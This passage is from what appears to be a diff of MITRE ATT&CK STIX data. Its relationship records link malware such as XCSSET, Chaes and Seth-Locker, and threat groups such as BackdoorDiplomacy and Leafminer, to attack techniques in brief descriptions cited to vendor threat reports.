Qbot)(Citation: Group IB Ransomware September 2020)", + "target_ref": "attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4", + "modified": "2021-09-30T15:45:57.190Z", + "source_ref": "malware--edc5e045-5401-42bb-ad92-52b5b2ee0de9", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2021-09-30T12:25:20.633Z", + "external_references": [ + { + "url": "https://redcanary.com/threat-detection-report/threats/qbot/", + "description": "Rainey, K. (n.d.). Qbot. Retrieved September 27, 2021.", + "source_name": "Red Canary Qbot" + }, + { + "url": "https://groupib.pathfactory.com/ransomware-reports/prolock_wp", + "description": "Group IB. (2020, September). LOCK LIKE A PRO. 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Retrieved September 30, 2021.", + "source_name": "Volexity InkySquid BLUELIGHT August 2021" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--9d1a9a04-6174-4aaa-8fac-43c965f0bd38", + "description": "[BLUELIGHT](https://attack.mitre.org/software/S0657) can collect process filenames and SID authority level.(Citation: Volexity InkySquid BLUELIGHT August 2021)", + "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", + "modified": "2021-10-15T16:54:01.131Z", + "source_ref": "malware--8bd47506-29ae-44ea-a5c1-c57e8a1ab6b0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2021-10-01T20:57:16.364Z", + "external_references": [ + { + "url": "https://www.volexity.com/blog/2021/08/17/north-korean-apt-inkysquid-infects-victims-using-browser-exploits/", + "description": "Cash, D., Grunzweig, J., Meltzer, M., Adair, S., Lancaster, T. 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(2021, August 17). North Korean APT InkySquid Infects Victims Using Browser Exploits. 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Only files with sizes \nless than 500MB are encrypted.(Citation: trendmicro xcsset xcode project 2020)", + "target_ref": "attack-pattern--b80d107d-fa0d-4b60-9684-b0433e8bdba0", + "modified": "2021-10-19T00:23:15.976Z", + "source_ref": "malware--e14085cb-0e8d-4be6-92ba-e3b93ee5978f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2021-10-05T21:58:51.343Z", + "external_references": [ + { + "url": "https://documents.trendmicro.com/assets/pdf/XCSSET_Technical_Brief.pdf", + "description": "Mac Threat Response, Mobile Research Team. (2020, August 13). The XCSSET Malware: Inserts Malicious Code Into Xcode Projects, Performs UXSS Backdoor Planting in Safari, and Leverages Two Zero-day Exploits. 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Retrieved June 10, 2021.", + "source_name": "Malwarebytes Kimsuky June 2021" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--9801b87a-29e0-4252-81e6-50bbc32d1940", + "description": "[Kimsuky](https://attack.mitre.org/groups/G0094) has collected valid email addresses that were subsequently used in spearphishing campaigns.(Citation: Malwarebytes Kimsuky June 2021)", + "target_ref": "attack-pattern--69f897fd-12a9-4c89-ad6a-46d2f3c38262", + "modified": "2021-10-06T16:13:04.953Z", + "source_ref": "intrusion-set--0ec2f388-bf0f-4b5c-97b1-fc736d26c25f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2021-10-06T16:13:04.953Z", + "external_references": [ + { + "url": "https://blog.malwarebytes.com/threat-analysis/2021/06/kimsuky-apt-continues-to-target-south-korean-government-using-appleseed-backdoor/", + "description": "Jazi, H. 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Retrieved August 24, 2021.", + "source_name": "Accenture MUDCARP March 2019" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--754a5c00-45bb-4279-bdd2-ec11d54f2926", + "description": "[ObliqueRAT](https://attack.mitre.org/software/S0644) has gained execution on targeted systems through luring users to click on links to malicious URLs.(Citation: Talos Oblique RAT March 2021)(Citation: Talos Transparent Tribe May 2021)", + "target_ref": "attack-pattern--ef67e13e-5598-4adc-bdb2-998225874fa9", + "modified": "2021-10-15T14:43:12.386Z", + "source_ref": "malware--5864e59f-eb4c-43ad-83b2-b5e4fae056c9", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2021-10-06T20:06:35.691Z", + "external_references": [ + { + "url": "https://blog.talosintelligence.com/2021/02/obliquerat-new-campaign.html", + "description": "Malhotra, A. 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Retrieved September 2, 2021.", + "source_name": "Talos Transparent Tribe May 2021" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--1a5f8d73-a9c4-40db-9cd5-7f8a7aea19d7", + "description": "Restrict granting of permissions related to listing objects in cloud storage to necessary accounts.", + "target_ref": "attack-pattern--8565825b-21c8-4518-b75e-cbc4c717a156", + "modified": "2021-10-07T12:55:26.432Z", + "source_ref": "course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2021-10-06T20:34:42.509Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--b019c5ea-be5e-453a-9ed6-e86384c92259", + "description": "[XCSSET](https://attack.mitre.org/software/S0658) prompts the user to input credentials using a native macOS dialog box leveraging the system process /Applications/Safari.app/Contents/MacOS/SafariForWebKitDevelopment.(Citation: trendmicro xcsset xcode project 2020)", + "target_ref": "attack-pattern--a2029942-0a85-4947-b23c-ca434698171d", + "modified": "2021-10-14T22:58:54.503Z", + "source_ref": "malware--e14085cb-0e8d-4be6-92ba-e3b93ee5978f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2021-10-06T21:37:07.383Z", + "external_references": [ + { + "url": "https://documents.trendmicro.com/assets/pdf/XCSSET_Technical_Brief.pdf", + "description": "Mac Threat Response, Mobile Research Team. (2020, August 13). The XCSSET Malware: Inserts Malicious Code Into Xcode Projects, Performs UXSS Backdoor Planting in Safari, and Leverages Two Zero-day Exploits. Retrieved October 5, 2021.", + "source_name": "trendmicro xcsset xcode project 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--51650560-9aff-460b-9766-14c83bdb2198", + "description": "[XCSSET](https://attack.mitre.org/software/S0658) builds a malicious application bundle to resemble Safari through using the Safari icon and Info.plist. (Citation: trendmicro xcsset xcode project 2020)", + "target_ref": "attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0", + "modified": "2021-10-14T22:58:54.559Z", + "source_ref": "malware--e14085cb-0e8d-4be6-92ba-e3b93ee5978f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2021-10-06T21:37:07.353Z", + "external_references": [ + { + "url": "https://documents.trendmicro.com/assets/pdf/XCSSET_Technical_Brief.pdf", + "description": "Mac Threat Response, Mobile Research Team. (2020, August 13). The XCSSET Malware: Inserts Malicious Code Into Xcode Projects, Performs UXSS Backdoor Planting in Safari, and Leverages Two Zero-day Exploits. Retrieved October 5, 2021.", + "source_name": "trendmicro xcsset xcode project 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--55a9fab0-30f8-45f5-b48d-7edbd961404d", + "description": "[XCSSET](https://attack.mitre.org/software/S0658) adds malicious code to a host's Xcode projects by enumerating CocoaPods target_integrator.rb files under the /Library/Ruby/Gems folder or enumerates all .xcodeproj folders under a given directory. [XCSSET](https://attack.mitre.org/software/S0658) then downloads a script and Mach-O file into the Xcode project folder.(Citation: trendmicro xcsset xcode project 2020)", + "target_ref": "attack-pattern--191cc6af-1bb2-4344-ab5f-28e496638720", + "modified": "2021-10-15T03:11:44.531Z", + "source_ref": "malware--e14085cb-0e8d-4be6-92ba-e3b93ee5978f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2021-10-06T21:37:07.360Z", + "external_references": [ + { + "url": "https://documents.trendmicro.com/assets/pdf/XCSSET_Technical_Brief.pdf", + "description": "Mac Threat Response, Mobile Research Team. (2020, August 13). The XCSSET Malware: Inserts Malicious Code Into Xcode Projects, Performs UXSS Backdoor Planting in Safari, and Leverages Two Zero-day Exploits. Retrieved October 5, 2021.", + "source_name": "trendmicro xcsset xcode project 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--79cfdbac-3e7c-4d47-a85b-b735061b215a", + "target_ref": "intrusion-set--0ec2f388-bf0f-4b5c-97b1-fc736d26c25f", + "modified": "2021-10-07T12:21:31.535Z", + "source_ref": "intrusion-set--7a0d4c09-dfe7-4fa2-965a-1a0e42fedd70", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "revoked-by", + "created": "2021-10-07T12:21:31.535Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--24a3fef1-9b1f-498b-8aca-df90565e6932", + "description": "[Chaes](https://attack.mitre.org/software/S0631) used the CreateFileW() API function with read permissions to access downloaded payloads.(Citation: Cybereason Chaes Nov 2020) ", + "target_ref": "attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670", + "modified": "2021-10-12T21:51:40.240Z", + "source_ref": "malware--77e0ecf7-ca91-4c06-8012-8e728986a87a", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2021-10-07T16:07:13.101Z", + "external_references": [ + { + "url": "https://www.cybereason.com/hubfs/dam/collateral/reports/11-2020-Chaes-e-commerce-malware-research.pdf", + "description": "Salem, E. (2020, November 17). CHAES: Novel Malware Targeting Latin American E-Commerce. Retrieved June 30, 2021.", + "source_name": "Cybereason Chaes Nov 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--eda4c39d-9615-4c5f-8086-64150137df7f", + "description": "[FIN8](https://attack.mitre.org/groups/G0061) has injected malicious code into a new svchost.exe process.(Citation: Bitdefender FIN8 July 2021)", + "target_ref": "attack-pattern--7c0f17c9-1af6-4628-9cbd-9e45482dd605", + "modified": "2021-10-07T16:37:51.341Z", + "source_ref": "intrusion-set--fd19bd82-1b14-49a1-a176-6cdc46b8a826", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2021-10-07T16:37:51.341Z", + "external_references": [ + { + "url": "https://businessinsights.bitdefender.com/deep-dive-into-a-fin8-attack-a-forensic-investigation", + "description": "Martin Zugec. (2021, July 27). Deep Dive Into a FIN8 Attack - A Forensic Investigation. Retrieved September 1, 2021.", + "source_name": "Bitdefender FIN8 July 2021" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--bf26ba18-224d-421f-8fc7-3748dd2fe9bd", + "description": "(Citation: Bitdefender FIN8 July 2021)", + "target_ref": "tool--981acc4c-2ede-4b56-be6e-fa1a75f37acf", + "modified": "2021-10-07T16:37:51.651Z", + "source_ref": "intrusion-set--fd19bd82-1b14-49a1-a176-6cdc46b8a826", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2021-10-07T16:37:51.651Z", + "external_references": [ + { + "url": "https://businessinsights.bitdefender.com/deep-dive-into-a-fin8-attack-a-forensic-investigation", + "description": "Martin Zugec. (2021, July 27). Deep Dive Into a FIN8 Attack - A Forensic Investigation. Retrieved September 1, 2021.", + "source_name": "Bitdefender FIN8 July 2021" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--9c22b1e4-df62-417d-a64f-c6f690ebe566", + "description": "[Chaes](https://attack.mitre.org/software/S0631) changed the template target of the settings.xml file embedded in the Word document and populated that field with the downloaded URL of the next payload.(Citation: Cybereason Chaes Nov 2020) ", + "target_ref": "attack-pattern--dc31fe1e-d722-49da-8f5f-92c7b5aff534", + "modified": "2021-10-07T16:38:37.565Z", + "source_ref": "malware--77e0ecf7-ca91-4c06-8012-8e728986a87a", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2021-10-07T16:38:37.565Z", + "external_references": [ + { + "url": "https://www.cybereason.com/hubfs/dam/collateral/reports/11-2020-Chaes-e-commerce-malware-research.pdf", + "description": "Salem, E. (2020, November 17). CHAES: Novel Malware Targeting Latin American E-Commerce. Retrieved June 30, 2021.", + "source_name": "Cybereason Chaes Nov 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--b44bf5b1-42f8-4c70-9108-9699e8fa66ec", + "description": "[Chaes](https://attack.mitre.org/software/S0631) stored its instructions in a config file in the Registry.(Citation: Cybereason Chaes Nov 2020) ", + "target_ref": "attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4", + "modified": "2021-10-07T16:38:37.584Z", + "source_ref": "malware--77e0ecf7-ca91-4c06-8012-8e728986a87a", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2021-10-07T16:38:37.584Z", + "external_references": [ + { + "url": "https://www.cybereason.com/hubfs/dam/collateral/reports/11-2020-Chaes-e-commerce-malware-research.pdf", + "description": "Salem, E. (2020, November 17). CHAES: Novel Malware Targeting Latin American E-Commerce. Retrieved June 30, 2021.", + "source_name": "Cybereason Chaes Nov 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--3740c99a-3d2d-4ea3-ae6e-2a3bfcf572f3", + "description": "[BackdoorDiplomacy](https://attack.mitre.org/groups/G0135) has used web shells to establish an initial foothold and for lateral movement within a victim's system.(Citation: ESET BackdoorDiplomacy Jun 2021)", + "target_ref": "attack-pattern--5d0d3609-d06d-49e1-b9c9-b544e0c618cb", + "modified": "2021-10-07T16:43:58.710Z", + "source_ref": "intrusion-set--9735c036-8ebe-47e9-9c77-b0ae656dab93", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2021-10-07T16:43:58.710Z", + "external_references": [ + { + "url": "https://www.welivesecurity.com/2021/06/10/backdoordiplomacy-upgrading-quarian-turian/", + "description": "Adam Burgher. (2021, June 10). BackdoorDiplomacy: Upgrading from Quarian to Turian. Retrieved September 1, 2021", + "source_name": "ESET BackdoorDiplomacy Jun 2021" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--d758de81-c572-45dc-94ed-67a4dc1da3fe", + "description": "[BackdoorDiplomacy](https://attack.mitre.org/groups/G0135) has used an executable to detect removable media, such as USB flash drives.(Citation: ESET BackdoorDiplomacy Jun 2021)", + "target_ref": "attack-pattern--348f1eef-964b-4eb6-bb53-69b3dcb0c643", + "modified": "2021-10-07T16:43:58.718Z", + "source_ref": "intrusion-set--9735c036-8ebe-47e9-9c77-b0ae656dab93", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2021-10-07T16:43:58.718Z", + "external_references": [ + { + "url": "https://www.welivesecurity.com/2021/06/10/backdoordiplomacy-upgrading-quarian-turian/", + "description": "Adam Burgher. (2021, June 10). BackdoorDiplomacy: Upgrading from Quarian to Turian. Retrieved September 1, 2021", + "source_name": "ESET BackdoorDiplomacy Jun 2021" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--c37f69b0-176a-483d-b75c-3b0c84e03276", + "description": "[BackdoorDiplomacy](https://attack.mitre.org/groups/G0135) has copied files of interest to the main drive's recycle bin.(Citation: ESET BackdoorDiplomacy Jun 2021)", + "target_ref": "attack-pattern--1c34f7aa-9341-4a48-bfab-af22e51aca6c", + "modified": "2021-10-07T16:43:58.716Z", + "source_ref": "intrusion-set--9735c036-8ebe-47e9-9c77-b0ae656dab93", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2021-10-07T16:43:58.716Z", + "external_references": [ + { + "url": "https://www.welivesecurity.com/2021/06/10/backdoordiplomacy-upgrading-quarian-turian/", + "description": "Adam Burgher. (2021, June 10). BackdoorDiplomacy: Upgrading from Quarian to Turian. Retrieved September 1, 2021", + "source_name": "ESET BackdoorDiplomacy Jun 2021" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--110ef143-aff1-4e73-abc2-cceaeab69c60", + "description": "[Chaes](https://attack.mitre.org/software/S0631) requires the user to click on the malicious Word document to execute the next part of the attack.(Citation: Cybereason Chaes Nov 2020) ", + "target_ref": "attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e", + "modified": "2021-10-07T17:11:29.524Z", + "source_ref": "malware--77e0ecf7-ca91-4c06-8012-8e728986a87a", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2021-10-07T17:11:29.524Z", + "external_references": [ + { + "url": "https://www.cybereason.com/hubfs/dam/collateral/reports/11-2020-Chaes-e-commerce-malware-research.pdf", + "description": "Salem, E. (2020, November 17). CHAES: Novel Malware Targeting Latin American E-Commerce. Retrieved June 30, 2021.", + "source_name": "Cybereason Chaes Nov 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--cf130e28-dbd6-4312-ba0a-a3cbcf05c064", + "description": "[Chaes](https://attack.mitre.org/software/S0631) has used the Puppeteer module to hook and monitor the Chrome web browser to collect user information from infected hosts.(Citation: Cybereason Chaes Nov 2020)", + "target_ref": "attack-pattern--544b0346-29ad-41e1-a808-501bb4193f47", + "modified": "2021-10-07T17:28:00.938Z", + "source_ref": "malware--77e0ecf7-ca91-4c06-8012-8e728986a87a", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2021-10-07T17:28:00.938Z", + "external_references": [ + { + "url": "https://www.cybereason.com/hubfs/dam/collateral/reports/11-2020-Chaes-e-commerce-malware-research.pdf", + "description": "Salem, E. (2020, November 17). CHAES: Novel Malware Targeting Latin American E-Commerce. Retrieved June 30, 2021.", + "source_name": "Cybereason Chaes Nov 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--0f363688-a168-4e9f-94e6-75142875c802", + "description": "[Turian](https://attack.mitre.org/software/S0647) has the ability to use /bin/sh to execute commands.(Citation: ESET BackdoorDiplomacy Jun 2021)", + "target_ref": "attack-pattern--a9d4b653-6915-42af-98b2-5758c4ceee56", + "modified": "2021-10-07T18:46:08.811Z", + "source_ref": "malware--350f12cf-fd3b-4dad-b323-14b943090df4", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2021-10-07T18:46:08.811Z", + "external_references": [ + { + "url": "https://www.welivesecurity.com/2021/06/10/backdoordiplomacy-upgrading-quarian-turian/", + "description": "Adam Burgher. (2021, June 10). BackdoorDiplomacy: Upgrading from Quarian to Turian. Retrieved September 1, 2021", + "source_name": "ESET BackdoorDiplomacy Jun 2021" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--b26307f7-2d5a-4139-8333-e2c7a583f939", + "description": "[XCSSET](https://attack.mitre.org/software/S0658) has used a zero-day exploit in the ssh launchdaemon to elevate privileges and bypass SIP.(Citation: trendmicro xcsset xcode project 2020)", + "target_ref": "attack-pattern--b21c3b2d-02e6-45b1-980b-e69051040839", + "modified": "2021-10-19T00:23:16.022Z", + "source_ref": "malware--e14085cb-0e8d-4be6-92ba-e3b93ee5978f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2021-10-07T21:28:23.909Z", + "external_references": [ + { + "url": "https://documents.trendmicro.com/assets/pdf/XCSSET_Technical_Brief.pdf", + "description": "Mac Threat Response, Mobile Research Team. (2020, August 13). The XCSSET Malware: Inserts Malicious Code Into Xcode Projects, Performs UXSS Backdoor Planting in Safari, and Leverages Two Zero-day Exploits. Retrieved October 5, 2021.", + "source_name": "trendmicro xcsset xcode project 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--cb37da3b-6ffd-4882-9680-4e467f25d7f4", + "description": "[XCSSET](https://attack.mitre.org/software/S0658) identifies the macOS version and uses ioreg to determine serial number.(Citation: trendmicro xcsset xcode project 2020)", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", + "modified": "2021-10-19T00:34:13.055Z", + "source_ref": "malware--e14085cb-0e8d-4be6-92ba-e3b93ee5978f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2021-10-07T21:28:23.906Z", + "external_references": [ + { + "url": "https://documents.trendmicro.com/assets/pdf/XCSSET_Technical_Brief.pdf", + "description": "Mac Threat Response, Mobile Research Team. (2020, August 13). The XCSSET Malware: Inserts Malicious Code Into Xcode Projects, Performs UXSS Backdoor Planting in Safari, and Leverages Two Zero-day Exploits. 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Retrieved September 24, 2021.", + "source_name": "Checkpoint IndigoZebra July 2021" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--febc7399-bbee-4a97-b5a1-d2d9cf5ba9fc", + "description": "[IndigoZebra](https://attack.mitre.org/groups/G0136) has downloaded additional files and tools from its C2 server.(Citation: Checkpoint IndigoZebra July 2021)", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", + "modified": "2021-10-08T14:20:51.422Z", + "source_ref": "intrusion-set--e5603ea8-4c36-40e7-b7af-a077d24fedc1", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2021-10-08T14:20:51.422Z", + "external_references": [ + { + "url": "https://research.checkpoint.com/2021/indigozebra-apt-continues-to-attack-central-asia-with-evolving-tools/", + "description": "CheckPoint Research. (2021, July 1). IndigoZebra APT continues to attack Central Asia with evolving tools. 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New in Ransomware: Seth-Locker, Babuk Locker, Maoloa, TeslaCrypt, and CobraLocker. Retrieved August 11, 2021.", + "source_name": "Trend Micro Ransomware February 2021" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--d4221b38-c9cf-4773-9a49-afa7b07b917a", + "description": "[Seth-Locker](https://attack.mitre.org/software/S0639) can encrypt files on a targeted system, appending them with the suffix .seth.(Citation: Trend Micro Ransomware February 2021)", + "target_ref": "attack-pattern--b80d107d-fa0d-4b60-9684-b0433e8bdba0", + "modified": "2021-10-12T12:54:06.984Z", + "source_ref": "malware--f931a0b9-0361-4b1b-bacf-955062c35746", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2021-10-12T12:54:06.984Z", + "external_references": [ + { + "url": "https://www.trendmicro.com/en_us/research/21/b/new-in-ransomware.html", + "description": "Centero, R. et al. (2021, February 5). New in Ransomware: Seth-Locker, Babuk Locker, Maoloa, TeslaCrypt, and CobraLocker. Retrieved August 11, 2021.", + "source_name": "Trend Micro Ransomware February 2021" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--10801683-4565-4af5-a447-ac31043f8ad7", + "description": "[Seth-Locker](https://attack.mitre.org/software/S0639) can execute commands via the command line shell.(Citation: Trend Micro Ransomware February 2021)", + "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62", + "modified": "2021-10-12T12:56:04.653Z", + "source_ref": "malware--f931a0b9-0361-4b1b-bacf-955062c35746", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2021-10-12T12:56:04.653Z", + "external_references": [ + { + "url": "https://www.trendmicro.com/en_us/research/21/b/new-in-ransomware.html", + "description": "Centero, R. et al. (2021, February 5). New in Ransomware: Seth-Locker, Babuk Locker, Maoloa, TeslaCrypt, and CobraLocker. Retrieved August 11, 2021.", + "source_name": "Trend Micro Ransomware February 2021" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--7b050e9f-ab8e-4860-aae9-4a37e18efbe2", + "description": "[Threat Group-3390](https://attack.mitre.org/groups/G0027) has obtained and used tools such as [Impacket](https://attack.mitre.org/software/S0357), [pwdump](https://attack.mitre.org/software/S0006), [Mimikatz](https://attack.mitre.org/software/S0002), [gsecdump](https://attack.mitre.org/software/S0008), [NBTscan](https://attack.mitre.org/software/S0590), and [Windows Credential Editor](https://attack.mitre.org/software/S0005).(Citation: Unit42 Emissary Panda May 2019) (Citation: Dell TG-3390)", + "target_ref": "attack-pattern--a2fdce72-04b2-409a-ac10-cc1695f4fce0", + "modified": "2021-10-12T19:21:39.381Z", + "source_ref": "intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2021-10-12T19:19:57.932Z", + "external_references": [ + { + "source_name": "Unit42 Emissary Panda May 2019", + "description": "Falcone, R. and Lancaster, T. (2019, May 28). Emissary Panda Attacks Middle East Government Sharepoint Servers. Retrieved July 9, 2019.", + "url": "https://unit42.paloaltonetworks.com/emissary-panda-attacks-middle-east-government-sharepoint-servers/" + }, + { + "url": "https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage", + "description": "Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, August 5). Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved August 18, 2018.", + "source_name": "Dell TG-3390" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--1e902f51-efe0-4848-b47a-7e1a1664b101", + "description": "[Leafminer](https://attack.mitre.org/groups/G0077) has obtained and used tools such as [LaZagne](https://attack.mitre.org/software/S0349), [Mimikatz](https://attack.mitre.org/software/S0002), [PsExec](https://attack.mitre.org/software/S0029), and [MailSniper](https://attack.mitre.org/software/S0413).(Citation: Symantec Leafminer July 2018)", + "target_ref": "attack-pattern--a2fdce72-04b2-409a-ac10-cc1695f4fce0", + "modified": "2021-10-12T23:23:16.448Z", + "source_ref": "intrusion-set--32bca8ff-d900-4877-aa65-d70baa041b74", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2021-10-12T19:25:56.921Z", + "external_references": [ + { + "source_name": "Symantec Leafminer July 2018", + "description": "Symantec Security Response. (2018, July 25). Leafminer: New Espionage Campaigns Targeting Middle Eastern Regions. Retrieved August 28, 2018.", + "url": "https://www.symantec.com/blogs/threat-intelligence/leafminer-espionage-middle-east" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--108b7d74-30a7-40ec-997e-b47c62a5f6e7", + "description": "[Inception](https://attack.mitre.org/groups/G0100) has obtained and used open-source tools such as [LaZagne](https://attack.mitre.org/software/S0349).(Citation: Kaspersky Cloud Atlas August 2019)", + "target_ref": "attack-pattern--a2fdce72-04b2-409a-ac10-cc1695f4fce0", + "modified": "2021-10-12T23:21:06.794Z", + "source_ref": "intrusion-set--ead23196-d7b6-4ce6-a124-4ab4b67d81bd", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2021-10-12T19:28:40.541Z", + "external_references": [ + { + "url": "https://securelist.com/recent-cloud-atlas-activity/92016/", + "description": "GReAT. (2019, August 12). Recent Cloud Atlas activity. Retrieved May 8, 2020.", + "source_name": "Kaspersky Cloud Atlas August 2019" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--406e78ba-fc34-4be9-9dcc-323aad40d709", + "description": 